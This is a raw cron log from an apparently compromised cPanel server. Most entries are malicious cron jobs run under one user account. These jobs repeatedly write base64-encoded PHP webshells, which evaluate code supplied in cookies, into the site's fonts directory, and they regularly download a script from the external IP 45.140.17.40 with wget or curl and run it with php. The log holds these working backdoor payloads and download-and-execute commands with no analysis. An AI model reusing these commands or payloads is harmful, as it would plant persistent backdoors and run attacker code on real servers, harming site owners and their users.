Sep  9 03:46:01 ip-184-168-122-23 CROND[5331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:47:01 ip-184-168-122-23 CROND[5525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:47:01 ip-184-168-122-23 CROND[5529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:47:01 ip-184-168-122-23 CROND[5528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:47:01 ip-184-168-122-23 CROND[5530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:48:01 ip-184-168-122-23 CROND[5644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:48:01 ip-184-168-122-23 CROND[5645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:48:01 ip-184-168-122-23 CROND[5646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:48:01 ip-184-168-122-23 CROND[5649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:48:01 ip-184-168-122-23 CROND[5650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:49:01 ip-184-168-122-23 CROND[5753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:49:01 ip-184-168-122-23 CROND[5756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:49:01 ip-184-168-122-23 CROND[5755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:49:01 ip-184-168-122-23 CROND[5757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:50:01 ip-184-168-122-23 CROND[5849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:50:01 ip-184-168-122-23 CROND[5850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:50:01 ip-184-168-122-23 CROND[5855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:51:01 ip-184-168-122-23 CROND[5981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:51:01 ip-184-168-122-23 CROND[5983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:51:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:51:01 ip-184-168-122-23 CROND[5989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:52:01 ip-184-168-122-23 CROND[6087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:52:01 ip-184-168-122-23 CROND[6089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:52:01 ip-184-168-122-23 CROND[6090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:52:01 ip-184-168-122-23 CROND[6091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:52:01 ip-184-168-122-23 CROND[6092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:53:01 ip-184-168-122-23 CROND[6191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:53:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:53:01 ip-184-168-122-23 CROND[6194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:53:01 ip-184-168-122-23 CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:54:01 ip-184-168-122-23 CROND[6425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:54:01 ip-184-168-122-23 CROND[6427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:54:01 ip-184-168-122-23 CROND[6429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:54:01 ip-184-168-122-23 CROND[6428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:54:01 ip-184-168-122-23 CROND[6431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:55:01 ip-184-168-122-23 CROND[6557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:55:01 ip-184-168-122-23 CROND[6558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:55:01 ip-184-168-122-23 CROND[6559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:55:01 ip-184-168-122-23 CROND[6560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:55:01 ip-184-168-122-23 CROND[6561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:55:01 ip-184-168-122-23 CROND[6567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:56:02 ip-184-168-122-23 CROND[6969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:56:02 ip-184-168-122-23 CROND[6970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:56:02 ip-184-168-122-23 CROND[6971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:56:02 ip-184-168-122-23 CROND[6972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:56:02 ip-184-168-122-23 CROND[6973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:57:01 ip-184-168-122-23 CROND[7070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:57:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:57:01 ip-184-168-122-23 CROND[7073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:57:01 ip-184-168-122-23 CROND[7075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:58:01 ip-184-168-122-23 CROND[7193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:58:01 ip-184-168-122-23 CROND[7195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:58:01 ip-184-168-122-23 CROND[7197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:58:01 ip-184-168-122-23 CROND[7196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:58:01 ip-184-168-122-23 CROND[7198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:59:01 ip-184-168-122-23 CROND[7305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:59:01 ip-184-168-122-23 CROND[7307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
